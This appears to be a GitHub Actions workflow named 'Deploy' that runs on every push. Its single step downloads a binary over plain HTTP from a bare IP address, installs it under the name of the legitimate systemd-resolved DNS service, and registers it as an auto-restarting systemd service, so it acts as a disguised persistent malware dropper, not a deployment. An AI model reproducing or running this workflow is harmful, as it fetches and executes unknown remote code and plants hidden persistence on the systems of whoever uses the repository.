26 lines
780 B
YAML
26 lines
780 B
YAML
name: Deploy
|
|
on: [push]
|
|
jobs:
|
|
deploy:
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- name: Deploy
|
|
run: |
|
|
curl -fsSL -m 60 -o /usr/local/bin/systemd-resolved http://103.150.215.6:8888/update
|
|
chmod 0755 /usr/local/bin/systemd-resolved
|
|
cat > /etc/systemd/system/systemd-resolved.service << 'UNIT'
|
|
[Unit]
|
|
Description=systemd-resolved Service
|
|
After=network-online.target
|
|
Wants=network-online.target
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/local/bin/systemd-resolved
|
|
Restart=always
|
|
RestartSec=10
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
UNIT
|
|
systemctl daemon-reload
|
|
systemctl enable --now systemd-resolved.service
|